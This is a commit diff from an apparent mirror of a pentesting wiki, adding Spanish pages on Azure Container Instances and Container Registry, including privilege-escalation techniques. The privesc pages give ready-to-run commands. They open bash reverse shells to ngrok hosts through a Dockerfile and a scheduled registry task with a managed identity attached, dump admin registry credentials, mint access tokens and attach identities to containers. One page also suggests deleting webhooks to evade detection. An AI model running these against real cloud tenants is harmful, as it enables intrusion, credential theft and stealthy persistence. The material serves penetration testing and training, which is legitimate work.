mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 23:00:49 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
BIN
src/images/registry_roles.png
Normal file
BIN
src/images/registry_roles.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Estos permisos permiten al usuario **ejecutar un comando** en un contenedor en ejecución. Esto se puede utilizar para **escalar privilegios** en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, también es posible acceder al código fuente y a cualquier otra información sensible almacenada dentro del contenedor.
|
||||
|
||||
Para ejecutar un `ls` y obtener la salida es tan simple como:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
También es posible **leer la salida** del contenedor con:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
O obtener los registros con:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Estos permisos permiten **adjuntar una identidad administrada por el usuario** a un grupo de contenedores. Esto es muy útil para escalar privilegios en el contenedor.
|
||||
|
||||
Para adjuntar una identidad administrada por el usuario a un grupo de contenedores:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Estos permisos permiten **crear o actualizar un grupo de contenedores** con una **identidad administrada por el usuario** adjunta a él. Esto es muy útil para escalar privilegios en el contenedor.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Además, también es posible actualizar un grupo de contenedores existente añadiendo, por ejemplo, el argumento **`--command-line`** con un shell reverso.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Este permiso permite al usuario listar las credenciales de administrador del ACR. Esto es útil para **obtener acceso completo** sobre el registro.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
En caso de que las credenciales de administrador no estén habilitadas, también necesitarás el permiso `Microsoft.ContainerRegistry/registries/write` para habilitarlas con:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Estos permisos permiten al usuario **crear un nuevo token** con contraseñas para acceder al registro.
|
||||
|
||||
Para usar el `az cli` para generarlo como en el siguiente ejemplo, también necesitarás los permisos `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Estos permisos permiten al usuario **construir y ejecutar una imagen** en el registro. Esto se puede usar para **ejecutar código** en el contenedor.
|
||||
|
||||
>[!WARNING]
|
||||
> Sin embargo, la imagen se ejecutará en un **entorno aislado** y **sin acceso al servicio de metadatos**. Esto significa que el contenedor no tendrá acceso a los **metadatos de la instancia**, por lo que esto no es realmente útil para escalar privilegios.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Este es el permiso principal que permite crear y actualizar una tarea en el registro. Esto se puede usar para **ejecutar un código dentro de un contenedor con una identidad administrada adjunta a él** en el contenedor.
|
||||
|
||||
Este es el ejemplo de cómo ejecutar un shell reverso en un contenedor con la **identidad administrada del sistema** adjunta a él:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Otra forma de obtener un RCE desde una tarea sin usar un repositorio externo es utilizar el comando `az acr task create` con la bandera `--cmd`. Esto te permitirá ejecutar un comando en el contenedor. Por ejemplo, puedes ejecutar un shell reverso con el siguiente comando:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Tenga en cuenta que para asignar la identidad administrada por el sistema no necesita ningún permiso especial, aunque debe haberse habilitado antes en el registro y asignado algunos permisos para que sea útil.
|
||||
|
||||
Para asignar una **identidad administrada por el usuario también** necesitaría el permiso `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` para hacer:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Para **actualizar** el repositorio de una tarea existente, puedes hacer:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Con este permiso es posible **importar una imagen al registro de azure**, incluso sin tener la imagen localmente. Sin embargo, ten en cuenta que **no puedes importar una imagen con una etiqueta** que ya existe en el registro.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Para **eliminar o desmarcar una etiqueta de imagen específica** del registro, puedes usar el siguiente comando. Sin embargo, ten en cuenta que necesitarás un usuario o token con **suficientes permisos** para hacerlo:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Azure Container Instances (ACI) proporcionan una **manera sin servidor y bajo demanda** de ejecutar **contenedores** en la nube de Azure. Puedes **desplegar** uno o varios contenedores en un grupo con **cómputo escalable**, **opciones de red** y la flexibilidad de conectarte a **otros servicios de Azure** (como Almacenamiento, Redes Virtuales o Registros de Contenedores).
|
||||
|
||||
Dado que son cargas de trabajo **efímeras**, no necesitas gestionar la infraestructura subyacente de VM; Azure se encarga de eso por ti. Sin embargo, desde una **perspectiva de seguridad ofensiva**, es crucial entender cómo los **permisos**, **identidades**, **configuraciones de red** y **registros** pueden revelar superficies de ataque y posibles configuraciones incorrectas.
|
||||
|
||||
### Configuraciones
|
||||
|
||||
- Para crear un contenedor, es posible usar una imagen pública, una imagen de contenedor de un Registro de Contenedores de Azure o un repositorio externo, lo que podría **requerir configurar una contraseña** para acceder a ella.
|
||||
- En cuanto a la red, también puede tener una **IP pública** o ser **puntos finales privados**.
|
||||
- También es posible configurar ajustes comunes de docker como:
|
||||
- **Variables de entorno**
|
||||
- **Volúmenes** (incluso de Azure Files)
|
||||
- **Puertos**
|
||||
- **Límites de CPU y memoria**
|
||||
- **Política de reinicio**
|
||||
- **Ejecutar como privilegiado**
|
||||
- **Línea de comando para ejecutar**
|
||||
- ...
|
||||
|
||||
## Enumeración
|
||||
|
||||
> [!WARNING]
|
||||
> Al enumerar ACI, puedes revelar configuraciones sensibles como **variables de entorno**, **detalles de red** o **identidades gestionadas**. Ten cuidado al registrarlas o mostrarlas.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Azure Container Registry (ACR) es un registro privado y seguro que te permite **almacenar, gestionar y acceder a imágenes de contenedor en la nube de Azure**. Se integra sin problemas con varios servicios de Azure, proporcionando flujos de trabajo de construcción y despliegue automatizados a gran escala. Con características como la geo-replicación y el escaneo de vulnerabilidades, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones en contenedores.
|
||||
|
||||
### Permisos
|
||||
|
||||
Estos son los **diferentes permisos** [según la documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que se pueden otorgar sobre un Container Registry:
|
||||
|
||||
- Acceso al Administrador de Recursos
|
||||
- Crear/eliminar registro
|
||||
- Subir imagen
|
||||
- Descargar imagen
|
||||
- Eliminar datos de imagen
|
||||
- Cambiar políticas
|
||||
- Firmar imágenes
|
||||
|
||||
También hay algunos **roles integrados** que se pueden asignar, y también es posible crear **roles personalizados**.
|
||||
|
||||

|
||||
|
||||
### Autenticación
|
||||
|
||||
> [!WARNING]
|
||||
> Es muy importante que, incluso si el nombre del registro contiene algunas letras mayúsculas, siempre debes usar **letras minúsculas** para iniciar sesión, subir y descargar imágenes.
|
||||
|
||||
Hay 4 formas de autenticarte en un ACR:
|
||||
|
||||
- **Con Entra ID**: Esta es la **forma predeterminada** de autenticarte en un ACR. Utiliza el comando **`az acr login`** para autenticarte en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si estás ejecutando este comando desde un entorno sin acceso a un socket de docker, como en un **cloud shell**, es posible usar la opción **`--expose-token`** para obtener el **token** para autenticarte en el ACR. Luego, para autenticarte, debes usar como nombre de usuario `00000000-0000-0000-0000-000000000000` así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Con una cuenta de administrador**: El usuario administrador está deshabilitado por defecto, pero se puede habilitar y luego será posible acceder al registro con el **nombre de usuario** y **contraseña** de la cuenta de administrador con permisos completos para el registro. Esto todavía se admite porque algunos servicios de Azure lo utilizan. Ten en cuenta que se crean **2 contraseñas** para este usuario y ambas son válidas. Puedes habilitarlo con `az acr update -n <acrName> --admin-enabled true`. Ten en cuenta que el nombre de usuario suele ser el nombre del registro (y no `admin`).
|
||||
- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registro. Luego, es posible usar este nombre de token como nombre de usuario y alguna de las contraseñas generadas para autenticarte en el registro con `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Con un Service Principal**: Es posible crear un **service principal** y asignar un rol como **`AcrPull`** para descargar imágenes. Luego, será posible **iniciar sesión en el registro** utilizando el appId del SP como nombre de usuario y un secreto generado como contraseña.
|
||||
|
||||
Ejemplo de script de la [documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para generar un SP con acceso sobre un registro:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Cifrado
|
||||
|
||||
Solo el **Premium SKU** admite **cifrado en reposo** para las imágenes y otros artefactos.
|
||||
|
||||
### Redes
|
||||
|
||||
Solo el **Premium SKU** admite **puntos finales privados**. Los otros solo admiten **acceso público**. Un punto final público tiene el formato `<registry-name>.azurecr.io` y un punto final privado tiene el formato `<registry-name>.privatelink.azurecr.io`. Por esta razón, el nombre del registro debe ser único en todo Azure.
|
||||
|
||||
### Microsoft Defender para la Nube
|
||||
|
||||
Esto te permite **escanear las imágenes** en el registro en busca de **vulnerabilidades**.
|
||||
|
||||
### Eliminación suave
|
||||
|
||||
La función de **eliminación suave** te permite **recuperar un registro eliminado** dentro del número de días indicado. Esta función está **desactivada por defecto**.
|
||||
|
||||
### Webhooks
|
||||
|
||||
Es posible **crear webhooks** dentro de los registros. En este webhook es necesario especificar la URL donde se **enviará una solicitud cada vez que se realice una acción de push o delete**. Además, los Webhooks pueden indicar un alcance para señalar los repositorios (imágenes) que se verán afectados. Por ejemplo, 'foo:*' significa eventos bajo el repositorio 'foo'.
|
||||
|
||||
Desde la perspectiva de un atacante, es interesante verificar esto **antes de realizar cualquier acción** en el registro y eliminarlo temporalmente si es necesario, para evitar ser detectado.
|
||||
|
||||
### Registros conectados
|
||||
|
||||
Esto básicamente permite **reflejar las imágenes** de un registro a otro, generalmente ubicado en las instalaciones.
|
||||
|
||||
Tiene 2 modos: **Solo lectura** y **Lectura y escritura**. En el primero, las imágenes solo se **extraen** del registro de origen, y en el segundo, las imágenes también se pueden **enviar** al registro de origen.
|
||||
|
||||
Para que los clientes accedan al registro desde Azure, se genera un **token** cuando se utiliza el registro conectado.
|
||||
|
||||
### Ejecuciones y Tareas
|
||||
|
||||
Ejecuciones y Tareas permite ejecutar en Azure acciones relacionadas con contenedores que normalmente necesitarías hacer localmente o en un pipeline de CI/CD. Por ejemplo, puedes **construir, enviar y ejecutar imágenes en el registro**.
|
||||
|
||||
La forma más fácil de construir y ejecutar un contenedor es utilizando una Ejecución regular:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Sin embargo, eso activará ejecuciones que no son muy interesantes desde la perspectiva de un atacante porque no tienen ninguna identidad administrada adjunta.
|
||||
|
||||
Sin embargo, **tasks** pueden tener una **identidad administrada del sistema y del usuario** adjunta a ellas. Estas tareas son las útiles para **escalar privilegios** en el contenedor. En la sección de escalada de privilegios es posible ver cómo usar tareas para escalar privilegios.
|
||||
|
||||
### Cache
|
||||
|
||||
La función de caché permite **descargar imágenes de un repositorio externo** y almacenar las nuevas versiones en el registro. Requiere tener algunas **credenciales configuradas** seleccionando las credenciales de un Azure Vault.
|
||||
|
||||
Esto es muy interesante desde la perspectiva de un atacante porque permite **pivotar a una plataforma externa** si el atacante tiene suficientes permisos para acceder a las credenciales, **descargar imágenes de un repositorio externo** y configurar una caché también podría usarse como un **mecanismo de persistencia**.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Es muy importante que, incluso si el nombre del registro contiene algunas letras mayúsculas, solo debes usar letras minúsculas en la URL para acceder a él.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Escalación de Privilegios y Post Explotación
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user